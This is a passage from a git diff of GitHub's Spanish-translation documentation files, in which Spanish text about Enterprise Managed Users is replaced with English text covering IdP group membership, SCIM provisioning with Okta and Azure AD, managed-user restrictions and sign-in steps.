grupo de IdP y este grupo debe estar conectado a un equipo en la organización. Para obtener más información sobre la administración automática de la organización y las pertenencias a equipos, consulta "[Administración de las pertenencias a equipos con grupos de proveedores de identidades](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)". +Organization memberships can be managed manually, or you can update memberships automatically using IdP groups. To manage organization memberships through your IdP, the members must be added to an IdP group, and the IdP group must be connected to a team within the organization. For more information about managing organization and team memberships automatically, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)." -La forma en que se agrega un miembro a una organización propiedad de tu empresa (mediante grupos de IdP o manualmente) determina cómo se deben quitar de una organización. +The way a member is added to an organization owned by your enterprise (through IdP groups or manually) determines how they must be removed from an organization. -- Si un miembro se agregó a una organización manualmente, debes quitarlo manualmente. La anulación de la asignación de la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu IdP suspenderá al usuario pero no lo eliminará de la organización. -- Si un usuario se convirtió en miembro de una organización porque se agregó a grupos de IdP asignados a uno o varios equipos de la organización, quitarlo de _todos_ los grupos de IdP asignados asociados a la organización hará que se quite de la organización. +- If a member was added to an organization manually, you must remove them manually. Unassigning them from the {% data variables.product.prodname_emu_idp_application %} application on your IdP will suspend the user but not remove them from the organization. +- If a user became a member of an organization because they were added to IdP groups mapped to one or more teams in the organization, removing them from _all_ of the mapped IdP groups associated with the organization will remove them from the organization. -Para descubrir cómo se agregó un miembro a una organización, puedes filtrar la lista de miembros por tipo. Para más información, vea "[Visualización de personas en la empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users)". +To discover how a member was added to an organization, you can filter the member list by type. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users)." -## Soporte del proveedor de identidad +## Identity provider support -{% data variables.product.prodname_emus %} admite los siguientes IdP{% ifversion oidc-for-emu %} y métodos de autenticación: +{% data variables.product.prodname_emus %} supports the following IdPs{% ifversion oidc-for-emu %} and authentication methods: | | SAML | OIDC (beta) | |----------------------------------|-----------------------------------------------|-----------------------------------------------| @@ -75,35 +70,36 @@ Para descubrir cómo se agregó un miembro a una organización, puedes filtrar l {% endif %} -## Habilidades y restricciones de los {% data variables.enterprise.prodname_managed_users %} +## Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %} -Los {% data variables.enterprise.prodname_managed_users_caps %} solo pueden colaborar en los repositorios privados e internos en su empresa y con los repositorios que pertenecen a su cuenta de usuario. Los {% data variables.enterprise.prodname_managed_users_caps %} tienen acceso de solo lectura al resto de la comunidad de {% data variables.product.prodname_dotcom %}. Estas restricciones de visibilidad y acceso para los usuarios, así como el contenido, aplican a todas las solicitudes, incluyendo a las de la API. +{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.enterprise.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community. These visibility and access restrictions for users and content apply to all requests, including API requests. -* No se puede invitar a {% data variables.enterprise.prodname_managed_users_caps %} para que se unan a organizaciones o repositorios de fuera de la empresa, ni se puede invitar a {% data variables.enterprise.prodname_managed_users %} a otras empresas. -* Los colaboradores externos no son compatibles con los {% data variables.product.prodname_emus %}. -* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden crear incidencias ni solicitudes de incorporación de cambios, comentar o agregar reacciones, ni marcar como favoritos u observar o bifurcar repositorios fuera de la empresa. -* Los {% data variables.enterprise.prodname_managed_users_caps %} pueden ver todos los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %} pero no pueden insertar código a los repositorios fuera de la empresa. -* Solo otros miembros de la empresa pueden ver a los {% data variables.enterprise.prodname_managed_users_caps %} y el contenido que estos crean. -* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden seguir a usuarios que estén fuera de la empresa. -* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden crear gists o comentar en ellos. -* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden crear flujos de trabajo de inicio para {% data variables.product.prodname_actions %}. -* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden instalar {% data variables.product.prodname_github_apps %} en sus cuentas de usuario. -* Otros usuarios de {% data variables.product.prodname_dotcom %} no pueden ver, mencionar o invitar a {% data variables.enterprise.prodname_managed_user %} para colaborar. -* Puedes elegir si los {% data variables.enterprise.prodname_managed_users %} pueden crear repositorios propiedad de sus cuentas de usuario. Para más información, vea "[Aplicación de directivas de administración de repositorios en la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)". -* Si permites que {% data variables.enterprise.prodname_managed_users %} creen repositorios propiedad de sus cuentas de usuario, solo pueden poseer repositorios privados y únicamente pueden invitar a otros miembros de la empresa a colaborar en los repositorios propiedad del usuario. +* {% data variables.enterprise.prodname_managed_users_caps %} cannot be invited to organizations or repositories outside of the enterprise, nor can the {% data variables.enterprise.prodname_managed_users %} be invited to other enterprises. +* Outside collaborators are not supported by {% data variables.product.prodname_emus %}. +* {% data variables.enterprise.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise. +* {% data variables.enterprise.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise. +* {% data variables.enterprise.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. +* {% data variables.enterprise.prodname_managed_users_caps %} cannot follow users outside of the enterprise. +* {% data variables.enterprise.prodname_managed_users_caps %} cannot create gists or comment on gists. +* {% data variables.enterprise.prodname_managed_users_caps %} cannot create starter workflows for {% data variables.product.prodname_actions %}. +* {% data variables.enterprise.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts. +* Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.enterprise.prodname_managed_user %} to collaborate. +* You can choose whether {% data variables.enterprise.prodname_managed_users %} are able to create repositories owned by their user accounts. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)." +* If you allow {% data variables.enterprise.prodname_managed_users %} to create repositories owned by their user accounts, they can only own private repositories and can only invite other enterprise members to collaborate on their user-owned repositories. * {% data reusables.enterprise-accounts.emu-forks %} -* Solo se pueden crear repositorios internos y privados en las organizaciones que pertenezcan a una {% data variables.enterprise.prodname_emu_enterprise %}, en función de la configuración de visibilidad del repositorio o la empresa. -* Los {% data variables.enterprise.prodname_managed_users_caps %} están limitados en su uso de {% data variables.product.prodname_pages %}. Para obtener más información, consulta [Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users). +* Only private and internal repositories can be created in organizations owned by an {% data variables.enterprise.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. +* {% data variables.enterprise.prodname_managed_users_caps %} are limited in their use of {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)." +* {% data reusables.copilot.emus-cannot-use-copilot %} -## Introducción a {% data variables.product.prodname_emus %} +## Getting started with {% data variables.product.prodname_emus %} -Para que los desarrolladores puedan usar la {% data variables.product.prodname_ghe_cloud %} con {% data variables.product.prodname_emus %}, debes llevar a cabo una serie de pasos de configuración. +Before your developers can use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %}, you must follow a series of configuration steps. -1. Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para probar {% data variables.product.prodname_emus %} o para analizar las opciones para migrar desde su empresa existente, póngase en contacto con el [equipo de ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact). +1. To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. To try out {% data variables.product.prodname_emus %} or to discuss options for migrating from your existing enterprise, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). - La persona de contacto en el equipo de ventas de GitHub trabajará contigo para crear tu {% data variables.enterprise.prodname_emu_enterprise %} nueva. Necesitarás proporcionar la dirección de correo electrónico del usuario que configurará tu empresa y un código corto que se utilizará como el sufijo de los nombres de usuario de los miembros. {% data reusables.enterprise-accounts.emu-shortcode %} Para más información, vea "[Nombres de usuario e información de perfil](#usernames-and-profile-information)". + Your contact on the GitHub Sales team will work with you to create your new {% data variables.enterprise.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)." -2. Después de crear tu empresa, recibirás un mensaje de correo electrónico de {% data variables.product.prodname_dotcom %}, el cual te invitará a elegir una contraseña para tu usuario de configuración de la empresa, quien será el primer propietario de esta. Utiliza una ventana de búsqueda privada o en modo incógnito al configurar la contraseña. El usuario de configuración solo se usa para configurar el inicio de sesión único y la integración de aprovisionamiento de SCIM para la empresa. Ya no tendrá acceso para administrar la cuenta empresarial una vez que se habilite correctamente el inicio de sesión único. El nombre de usuario del usuario de configuración es el código corto de la empresa con el sufijo `_admin`. +2. After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SSO is successfully enabled. The setup user's username is your enterprise's shortcode suffixed with `_admin`. {% note %} @@ -111,53 +107,54 @@ Para que los desarrolladores puedan usar la {% data variables.product.prodname_g {% endnote %} -3. Después de iniciar sesión como usuario de configuración, se recomienda habilitar la autenticación en dos fases. Para obtener más información, vea "[Configuración de autenticación en dos fases](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)". +3. After you log in as the setup user, we recommend enabling two-factor authentication. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)." -1. Para empezar, configura {% ifversion oidc-for-emu %}cómo se autenticarán los miembros. Si usas Azure Active Directory como proveedor de identidades, puedes elegir entre OpenID Connect (OIDC) y el Lenguaje de marcado de aserción de seguridad (SAML). Ambas opciones proporcionan una experiencia de inicio de sesión sin problemas para los miembros, pero solo OIDC incluye compatibilidad con las directivas de acceso condicional (CAP). Si usas Okta como proveedor de identidades, puedes usar SAML para autenticar a los miembros. {% else %}SSO de SAML para tu empresa. Para obtener más información, consulta "[Configuración del inicio de sesión único de SAML para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)".{% endif %} +1. To get started, configure {% ifversion oidc-for-emu %}how your members will authenticate. If you are using Azure Active Directory as your identity provider, you can choose between OpenID Connect (OIDC) and Security Assertion Markup Language (SAML). Both options provide a seamless sign-in experience for your members, but only OIDC includes support for Conditional Access Policies (CAP). If you are using Okta as your identity provider, you can use SAML to authenticate your members.{% else %}SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."{% endif %} {% ifversion oidc-for-emu %} - Para empezar, lea la guía del método de autenticación elegido. + To get started, read the guide for your chosen authentication method. - - "[Configuración de OIDC para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)". - - "[Configuración del inicio de sesión único de SAML para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)". + - "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)." + - "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)." {% endif %} -4. Una vez que hayas configurado el inicio de sesión único, puedes configurar el aprovisionamiento de SCIM. SCIM es la forma en la que el proveedor de identidades aprovisionará y administrará los equipos y cuentas de miembro en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información sobre cómo configurar el aprovisionamiento de SCIM, consulta "[Configuración del aprovisionamiento de SCIM para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)". +4. Once you have configured SSO, you can configure SCIM provisioning. SCIM is how your identity provider will create {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom_the_website %}. For more information on configuring SCIM provisioning, see "[Configuring SCIM provisioning for enterprise managed users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)." -5. Una vez que hayas configurado la autenticación y el aprovisionamiento, podrás empezar a aprovisionar miembros y administrar equipos. Para más información sobre cómo administrar equipos, vea "[Administración de pertenencias a equipos con grupos de proveedores de identidades](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups)". +5. Once authentication and provisioning are configured, you can start managing organization membership for your {% data variables.enterprise.prodname_managed_users %} by synchronizing IdP groups with teams. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups)." -Si los miembros de tu empresa deben usar una estación de trabajo para contribuir a los repositorios en {% data variables.location.product_location %} tanto de un {% data variables.enterprise.prodname_managed_user %} como de una cuenta personal, puedes proporcionar compatibilidad. Para obtener más información, consulta "[Compatibilidad con desarrolladores con varias cuentas de usuario en {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom)". +If members of your enterprise must use one workstation to contribute to repositories on {% data variables.location.product_location %} from both a {% data variables.enterprise.prodname_managed_user %} and a personal account, you can provide support. For more information, see "[Supporting developers with multiple user accounts on {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom)." -## Autenticación como {% data variables.enterprise.prodname_managed_user %} +## Authenticating as a {% data variables.enterprise.prodname_managed_user %} -Los {% data variables.enterprise.prodname_managed_users_caps %} se deben autenticar mediante su proveedor de identidad. Para autenticarse, un {% data variables.enterprise.prodname_managed_user %} puede visitar su portal de aplicación IdP o utilizar una página de inicio de sesión en el {% data variables.product.prodname_dotcom_the_website %}. +{% data variables.enterprise.prodname_managed_users_caps %} must authenticate through their identity provider. To authenticate, a {% data variables.enterprise.prodname_managed_user %} can visit their IdP application portal or use the login page on {% data variables.product.prodname_dotcom_the_website %}. -De manera predeterminada, cuando un usuario no autenticado intenta acceder a una empresa que usa {% data variables.product.prodname_emus %}, {% data variables.product.company_short %} muestra un error 404. Opcionalmente, un propietario de la empresa puede habilitar redirecciones automáticas al inicio de sesión único (SSO) en lugar de al error 404. Para más información, vea "[Aplicación de directivas de configuración de seguridad en la empresa](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users)". +By default, when an unauthenticated user attempts to access an enterprise that uses {% data variables.product.prodname_emus %}, {% data variables.product.company_short %} displays a 404 error. An enterprise owner can optionally enable automatic redirects to single sign-on (SSO) instead of the 404. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users)." -{% data reusables.enterprise-accounts.about-recovery-codes %} Para más información, vea "[Administración de códigos de recuperación para la empresa](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)". +{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see "[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)." -### Autenticarse como un {% data variables.enterprise.prodname_managed_user %} mediante el {% data variables.product.prodname_dotcom_the_website %} +### Authenticating as a {% data variables.enterprise.prodname_managed_user %} via {% data variables.product.prodname_dotcom_the_website %} -1. Vaya a [https://github.com/login](https://github.com/login). -1. En la caja de texto de "Nombre de usuario o dirección de correo electrónico", ingresa tu nombre de usuario incluyendo el guion bajo y código corto. - ![Captura de pantalla que muestra el formulario de inicio de sesión](/assets/images/help/enterprises/emu-login-username.png). Si el formulario reconoce el nombre de usuario, se actualizará. No necesitas ingresar tu contraseña en este formato. -1. Para continuar con el proveedor de identidades, haga clic en **Sign in with your identity provider** (Iniciar sesión con el proveedor de identidades). - ![Captura de pantalla que muestra el botón "Sign in with your identity provider" (Iniciar sesión con el proveedor de identidades)](/assets/images/help/enterprises/emu-login-submit.png) +1. Navigate to [https://github.com/login](https://github.com/login). +1. In the "Username or email address" text box, enter your username including the underscore and short code. + ![Screenshot showing login form](/assets/images/help/enterprises/emu-login-username.png) + When the form recognizes your username, the form will update. You do not need to enter your password on this form. +1. To continue to your identity provider, click **Sign in with your identity provider**. + ![Screenshot showing "Sign in with your identity provider" button](/assets/images/help/enterprises/emu-login-submit.png) -## Nombres de usuario e información de perfil +## Usernames and profile information -{% data variables.product.product_name %} crea automáticamente un nombre de usuario para cada persona mediante la normalización de un identificador proporcionado por el IdP. Para más información, consulta "[Consideraciones sobre el nombre de usuario para la autenticación externa](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)". +{% data variables.product.product_name %} automatically creates a username for each person by normalizing an identifier provided by your IdP. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." -Puede producirse un conflicto al aprovisionar usuarios si las partes únicas del identificador proporcionado por el IdP se quitan durante la normalización. Si no puedes aprovisionar un usuario debido a un conflicto con el nombre de usuario, debes modificar el nombre de usuario proporcionado por el IdP. Para obtener más información, consulta "[Resolución de problemas de nombre de usuario](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems)". +A conflict may occur when provisioning users if the unique parts of the identifier provided by your IdP are removed during normalization. If you're unable to provision a user due to a username conflict, you should modify the username provided by your IdP. For more information, see "[Resolving username problems](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems)." {% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %} -El nombre de perfil y dirección de correo electrónico de un {% data variables.enterprise.prodname_managed_user %} también lo proporciona el IdP. Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden cambiar su nombre de perfil ni la dirección de correo electrónico en {% data variables.product.prodname_dotcom %}, y el IdP solo puede proporcionar una dirección de correo electrónico. +The profile name and email address of a {% data variables.enterprise.prodname_managed_user %} is also provided by the IdP. {% data variables.enterprise.prodname_managed_users_caps %} cannot change their profile name or email address on {% data variables.product.prodname_dotcom %}, and the IdP can only provide a single email address. -## Compatibilidad con desarrolladores con varias cuentas de usuario en {% data variables.location.product_location %} +## Supporting developers with multiple user accounts on {% data variables.location.product_location %} -Es posible que personas del equipo necesiten contribuir a los recursos de {% data variables.location.product_location %} que están fuera de {% data variables.enterprise.prodname_emu_enterprise %}. Por ejemplo, puede que quieras mantener una empresa independiente para los proyectos de código abierto de la empresa. Dado que un {% data variables.enterprise.prodname_managed_user %} no puede contribuir a los recursos públicos, los usuarios deberán mantener una cuenta personal independiente para este trabajo. +People on your team may need to contribute to resources on {% data variables.location.product_location %} that are outside of your {% data variables.enterprise.prodname_emu_enterprise %}. For example, you may wish to maintain a separate enterprise for your company's open source projects. Because a {% data variables.enterprise.prodname_managed_user %} cannot contribute to public resources, users will need to maintain a separate, personal account for this work. -Las personas que deben contribuir desde dos cuentas de usuario en {% data variables.location.product_location %} con una estación de trabajo pueden configurar Git para simplificar el proceso. Para obtener más información, consulta "[Administración de varias cuentas](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)". +People who must contribute from two user accounts on {% data variables.location.product_location %} using one workstation can configure Git to simplify the process. For more information, see "[Managing multiple accounts](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)." diff --git a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md index dddd160ff4..7e7b0137be 100644 --- a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md +++ b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md @@ -80,11 +80,11 @@ To configure provisioning, the setup user with the **@SHORT-CODE_admin* ## Assigning users and groups -After you have configured SAML SSO and provisioning, you will be able provision new users on {% data variables.product.prodname_dotcom_the_website %} by assigning users to the {% data variables.product.prodname_emu_idp_application %} application. +After you have configured SAML SSO and provisioning, you will be able to provision new users on {% data variables.product.prodname_dotcom_the_website %} by assigning users or groups to the {% data variables.product.prodname_emu_idp_application %} application. {% data reusables.scim.emu-scim-rate-limit %} -You can also automatically manage organization membership by assigning groups to the application and adding them to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)." +You can also automatically manage organization membership by adding groups to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)." When assigning users, you can use the "Roles" attribute in the {% data variables.product.prodname_emu_idp_application %} application to set a user's role in your enterprise on {% data variables.product.product_name %}. For more information on roles, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)." diff --git a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md index af0d546dab..32948205b4 100644 --- a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md +++ b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md @@ -17,9 +17,11 @@ topics: ## About provisioning for {% data variables.product.prodname_emus %} -You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise. +You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. -When you update information associated with a user's identity on your IdP, your IdP will update the user's account on GitHub.com. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} account on {% data variables.product.prodname_dotcom %} will be reactivated and username restored. +After you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom %} via SCIM, and the {% data variables.enterprise.prodname_managed_users %} are added to your enterprise. If you assign a group to the application, all users within the group will be provisioned as new {% data variables.enterprise.prodname_managed_users %}. + +When you update information associated with a user's identity on your IdP, your IdP will update the user's account on {% data variables.product.prodname_dotcom_the_website %}. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} on {% data variables.product.prodname_dotcom %} will be reactivated and username restored. Groups in your IdP can be used to manage team membership within your enterprise's organizations, allowing you to configure repository access and permissions through your IdP. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)." @@ -70,3 +72,9 @@ To configure provisioning, follow the appropriate link from the table below. | Azure AD | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in the Azure AD documentation |{% endif %} | Azure AD | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Azure AD documentation | | Okta | SAML | [Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) | + +{% note %} + +**Note:** Azure AD does not support provisioning nested groups. For more information, see [How Application Provisioning works in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping). + +{% endnote %} \ No newline at end of file diff --git a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md index e7306b64c7..d1d7db49c3 100644 --- a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md +++ b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md @@ -1,7 +1,7 @@ --- title: Managing team memberships with identity provider groups shortTitle: Manage teams with your IdP -intro: 'You can manage team membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with your {% data variables.enterprise.prodname_emu_enterprise %}.' +intro: 'You can manage team and organization membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with teams within your {% data variables.enterprise.prodname_emu_enterprise %}.' product: '{% data reusables.gated-features.emus %}' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups @@ -20,13 +20,15 @@ topics: ## About team management with {% data variables.product.prodname_emus %} -With {% data variables.product.prodname_emus %}, you can manage team membership within your enterprise through your IdP. When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts. +With {% data variables.product.prodname_emus %}, you can manage team and organization membership within your enterprise through your IdP by connecting {% data variables.product.prodname_dotcom %} teams with IdP groups. When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts. -When a change to an IdP group or a new team connection results in a {% data variables.enterprise.prodname_managed_user %} joining a team in an organization they were not already a member of, the {% data variables.enterprise.prodname_managed_user %} will automatically be added to the organization. Organization owners can also manage organization membership manually. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means. +When a change to an IdP group or a new team connection results in a {% data variables.enterprise.prodname_managed_user %} joining a team in an organization they were not already a member of, the {% data variables.enterprise.prodname_managed_user %} will automatically be added to the organization. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means. -You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise. +{% note %} -If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.prodname_dotcom_the_website %}. +**Note:** Organization owners can also add {% data variables.enterprise.prodname_managed_users %} to organizations manually, as long as the accounts have already been provisioned via SCIM. + +{% endnote %} When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.prodname_dotcom_the_website %} according to the schedule determined by your IdP, so change may not be immediate. Any requests that change team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. @@ -34,6 +36,14 @@ Teams connected to IdP groups cannot be parents of other teams nor a child of an To manage repository access for any team in your enterprise, including teams connected to an IdP group, you must make changes on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)". +## Requirements for connecting IdP groups with teams + +Before you can connect an IdP group with a team on {% data variables.product.prodname_dotcom %}, you must assign the group to the {% data variables.product.prodname_emu_idp_application %} application in your IdP. For more information, see "[About SCIM provisioning for 